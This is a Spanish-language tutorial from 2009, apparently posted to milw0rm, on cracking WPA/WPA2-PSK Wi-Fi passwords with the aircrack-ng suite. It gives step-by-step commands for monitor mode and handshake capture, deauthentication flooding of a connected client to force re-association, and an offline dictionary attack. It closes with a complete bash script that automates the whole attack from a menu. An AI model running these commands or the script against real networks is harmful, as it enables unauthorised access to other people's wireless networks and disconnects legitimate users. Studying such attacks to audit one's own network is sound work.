Titulo: Cracking WPA/WPA2-PSK with wordlist Autor: ka0x Contacto: ka0x01[alt+64]gmail.com Fecha: 08/03/2009
-[ ÍNDICE ]---------------------------------------------------------------------
0x01: Introducción 0x02: ¿Qué es el handshake? 0x03: Capturando handshake 0x04: Conseguir clave con diccionario 0x05: airoWPA-PSK.sh 0x06: Fin
---[ 0x01: Introducción ]
En este pequeño texto se explicará como obtener la clave de una red inalámbrica con cifrado WPA/WP2 en la que se esté usando un sistema de clave compartida (pre-shared keys - PSK). Para todo esto necesitaremos capturar un handshake y después con un diccionario atacar al handshake para obtener la clave.
Imaginemos que en este caso tenemos la siguiente red inalambrica:
- ESSID: ap_labs - BSSID: 00:1B:02:93:AF:9C - CANAL: 1 - CLIENTE: 01:C2:B3:04:02:05
---[ 0x02: ¿Qué es el handshake? ]
Pues el handshake se genera cuando un cliente se asocia a la red inalámbrica, es como un saludo (apretón de manos) entre el punto de acceso y el cliente. Son los paquetes que se envían entre el AP y el cliente en el momento de la asociación. para que podamos empezar el ataque con diccionario en una red con cifrado WPA-PSK, necesitaremos haber capturado estos paquetes.
---[ 0x03: Capturando handshake ]
Bueno empecemos... Utilizamores la suite de aircrack-ng, si queremos los sources y demás podemos entrar a su web: http://www.aircrack-ng.org/doku.php#download
Si utilizamos debian, encontraremos el paquete en los repositorios, instalar:
- apt-get install aircrack-ng
Para poder capturar paquetes, tendremos que poner nuestro adaptador wireles en modo monitor:
- airmon-ng start <iface>
p.e: # airmon-ng start wlan0
Siempre se necesitará tener un cliente 'real' asociado en el AP.
Entonces una vez para empezar a capturar paquetes, utilizaremos airodump-ng:
- airodump-ng --bssid 00:1B:02:93:AF:9C -c 1 -w redWPA wlan0
--bssid -> MAC del punto de acceso. -w redWPA -> guardará los datos obtenidos en el archivo "redWPA". -c -> Canal del punto de acesso wlan0 -> interfaz adaptador inalambrico.
Así capturaremos todo lo que pase por el punto de acceso con MAC: 00:1B:02:93:AF:9C Entonces vayamos a capturar el handshake...
Como habíamos dicho antes el handshake se genera en el momento que un cliente se asocia al AP.
Entonces, cómo hacemos que se vuelva asociar el cliente al AP?
Facil, desautenticaremos al cliente del AP y esperamos a que se vuelva asociar, para este proceso usaremos el ataque 0 de aireplay-ng. Este ataque enviará al cliente paquetes de desautenticacion
Uso:
- aireplay-ng -0 5 -a <MAC_AP> -c <MAC_CLIENTE> <interfaz>
|-> Numero de desautenticaciones que se enviarán. Si ponemos un 0, enviará desautenticaciones hasta que lo paremos.
En este caso:
- aireplay-ng -0 15 -a 00:1B:02:93:AF:9C -c 01:C2:B3:04:02:05 wlan0
Cuando ejecutemos esto segun el numero de desautenticaciones nos aparecerá algo así: Sending DeAuth to station -- STMAC: [01:C2:B3:04:02:05]
En el momento que el cliente se desasocie y se vuelva a asociar al AP, nosotros con el airodump-ng capturaremos el handshake.
¿Cómo sabemos que ya lo hemos capturado?
Pues en la ventana donde tenemos corriendo el airodump-ng, arriba a la derecha, veremos algo así: CH 1 ] [ Elapsed: 14 mins ][ 2009-03-08 ][ WPA handshake: 00:1B:02:93:AF:9C
Una vez que nos aparezca eso, ya podemos cerrar todo, en el archivo redWPA-01.cap ya tendremos el dichoso handshake =)
---[ 0x04: Conseguir clave con diccionario ]
Una vez teniendo el handshake, ya podemos utilizar un diccionario de posibles claves
para que aircrack-ng compruebe haber si alguna de las claves del diccionario coincide
con la del AP.
¿Qué diccionario usar? pues el de john the ripper, alguno propio, hay muchos... aunque se supone que esto es para comprobar la seguridad de tu red wireless y ya te tendrás que saber de sobra tu clave.
La clave pre-compartida puede tener un tamaño de 8 a 63 caracteres.
Empecemos...
Si ejecutamos:
- aircrack-ng redWPA-01.cap
Podremos ver que tenemos un handshake:
Opening wpa-hand.cap Read 553 packets.
# BSSID ESSID Encryption
1 00:1B:02:93:AF:9C ap_labs WPA (1 handshake) <------
Choosing first network as target.
Opening wpa-hand.cap Please specify a dictionary (option -w).
Quitting aircrack-ng...
Uso de aircrack-ng con diccionario:
- aircrack-ng -w <ruta_diccionario> <archivo_de_capturas>
Suponiendo que nuestro archivo de datos capturados donde se encuentra el handshake se llama
redWPA-01.cap, lo ejecutaremos de la siguiente forma:
- aircrack-ng -w diccionario.lst redWPA-01.cap
Entonces aquí ya aircrack-ng se pondrá a comprobar las posibles claves del diccionario hasta obtenerla. Una vez obtenida, nos aparecerá lo siguiente:
Aircrack-ng 1.0 rc1
[00:00:00] 0 keys tested (0.00 k/s)
KEY FOUND! [ clave__ap ]
Master Key : 18 D4 E8 70 A0 B5 D2 26 4C 61 BA 85 5F 36 8F D9
DA 56 2A D2 51 B6 01 B6 A9 E8 61 B3 CD 92 7D 09
Transcient Key : DA 5E 56 09 35 9E 2D 9F 35 B0 C5 9E A9 41 71 B5
8A 8C B6 1B B5 A0 D2 C0 53 47 C6 05 CC 2C CA C0
C7 41 04 B2 F5 7D 44 DF 71 C5 11 78 5D DE A1 D0
F9 2E BE 54 22 46 82 24 35 91 7E 93 21 9D BF 78
EAPOL HMAC : 6A 31 F7 C0 C8 A7 83 37 50 FD 44 C3 8C 7D 2B 26
Hay ya vemos que encontro la clave y que es 'clave__ap'. Como vemos el proceso de obtener una clave WPA/WPA2-PSK no es tan dificil siempre y cuando sepamos nuestra clave, ya que si no la sabríamos este proceso podría durar horas, dias e incluso semanas depende el diccionario que usemos.
---[ 0x05: airoWPA-PSH.sh ]
Para simplificar un poco este proceso de obtención de la clave, hice un pequeño script en bash sencillo que te puede servir si eres un poco vago :P
<-----------------airoWPA-PSK.sh--------------------->
- !/bin/bash
- airoWPA-PSK.sh v0.1
- written by ka0x <ka0x01[at]gmail.com>
if [ $UID != 0 ]; then echo "[!] NECESITAS EJECUTAR EL SCRIPT $0 CON PRIVILEJIOS DE SUPERUSUARIO" exit fi
comprueba_mac(){ if [ ! "${#1}" -eq "17" ]; then echo -e "\033[31mMac Incorrecta\n\033[0m" exit fi } interfaces() { echo -e "\n\033[31m[*] Seleccione la interfaz que va a utilizar: \033[0m\n" INTERFACES=$(iwconfig | grep ESSID | awk '{ print $1 }') select INTER in $INTERFACES; do break; done clear }
monitor(){ airmon-ng start $INTER clear menu }
handshake(){ clear read -p "[-] Introduzca la MAC del AP: " mac_ap comprueba_mac $mac_ap read -p "[-] Introduzca la MAC del Cliente: " mac_client comprueba_mac $mac_client read -p "[-] Introduzca el canal del AP: " mac_chanel read -p "[-] Nombre de archivo donde se guardaran los datos capturados: " datas xterm -hold -title "Obteniendo Handshake en $mac_ap" -geometry 96x60+0+0 -bg "#000000" -fg "#FFFFFF" -e airodump-ng --bssid $mac_ap -c $mac_chanel -w $datas $INTER && clear && menu }
desautenticacion(){ clear read -p "[-] Introduzca la MAC del AP: " mac_ap comprueba_mac $mac_ap read -p "[-] Introduzca la MAC del cliente asociado: " mac_cliente comprueba_mac $mac_cliente read -p "[-] Introduzca el numero de desautenticaciones: " num xterm -hold -geometry 70x25-0+0 -bg "#000000" -fg "#99CCFF" -title "Desautenticando $mac_cliente del AP $mac_ap $num veces" -e aireplay-ng -0 $num -a $mac_ap -c $mac_cliente $INTER clear menu }
crack_dicc(){ clear read -p "[-] Introduzca la ruta del diccionario: " diccionario echo "[-] Seleccione el archivo de datos capturados:"
LS_DIR=$(ls *.cap) select DATA in $LS_DIR; do break; done
xterm -hold -geometry 70x25-0+0 -bg "#000000" -fg "#99CCFF" -title "Obteniendo clave con diccionario: $diccionario" -hold -e aircrack-ng -w $diccionario $DATA menu }
menu(){ echo -e "\n[*] Opciones:\n" echo -e "\033[31m-=-=-=-=-=-=-=-=-=-=-=-=-\033[0m" echo "1 - Activar Modo Monitor" echo "2 - Capturar handshake" echo "3 - Desautenticar cliente" echo "4 - Obtener clave con diccionario" echo "5 - Salir" echo -e "\033[31m-=-=-=-=-=-=-=-=-=-=-=-=-\n\033[0m"
read -p "opcion> " OPCION
case $OPCION in "1") monitor;; "2") handshake;; "3") desautenticacion;; "4") crack_dicc;; "5") exit;; *) echo -e "\033[31m[!] OPCION NO VALIDA\n\033[0m" && menu;;
esac }
interfaces menu
- __EOF__
<------------------------------------------------>
---[ 0x06: Fin ]
Bueno pues eso es todo, los pasos son bastantes sencillos, cualquier duda pueden entrar a la web de aircrack-ng (http//www.aircrack-ng.org) donde podrán encontrar abundante documentación o mismamente enviándome un email.
Espero que se entienda.
Un saludo!
- ka0x
__EOF__
- milw0rm.com [2009-03-09]






